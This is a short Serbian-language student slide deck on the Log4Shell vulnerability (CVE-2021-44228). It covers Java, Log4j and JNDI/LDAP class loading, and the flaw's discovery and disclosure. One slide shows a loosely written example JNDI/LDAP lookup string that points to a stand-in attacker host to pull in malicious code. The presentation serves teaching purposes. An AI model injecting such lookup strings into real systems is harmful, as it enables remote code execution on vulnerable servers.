



## Log4Shell грешка

Никола Маринковић 52/2025

12. јануар 2026.



# Увод

## 1 Log4Shell грешка

- Популарни назив за CVE-2021-44228
- Грешка нултог дана
- Омогућава произвољно извршавање кода



# Прекорачење опсега

1 Log4Shell грешка

Језици ниског нивоа:

- Нема уграђене заштите интегритета
- Програм уписује или чита податке изван предвиђеног опсега
- Непредвидљива понашања



# Јава

## 1 Log4Shell грешка

- Објектно оријентисано програмирање
- Објекти и класе
- Нема прекорачења опсега





# Log4j

1 Log4Shell грешка

- Унапређује испис података на стандардни излаз
- Шаблони ниски
- Лакши испис



# Динамичко учитавање класа

JNDI и LDAP

- JNDI: Јава интерфејс за претрагу објеката по имену
- LDAP: Мрежни протокол за приступ сервисима директоријума
- Учитавање страних класа пружа прилику страном коду да се изврши.



## Опис грешке

### 1 Log4Shell грешка

- Log4j користи JNDI за проналажење елемената база података (LDAP)
- Једна ниска програму додаје малициозни код са сервера страног корисника



# Ниска

1 Log4Shell грешка

```
$jndi : ldap : //napadac.com/maliciozni_zahtev
```



# Откриће грешке

## 1 Log4Shell грешка

- Откривена од стране истраживача из Alibaba Cloud тима у новембру 2021. године.
- Постојала је неоткривена од најкасније 2013. године.
- Јавно објављена 9. децембра 2021.
- Многи интернет сервиси су били приморани да ажурирају софтвер.



# Log4Shell грешка

*Хвала на пажњи!*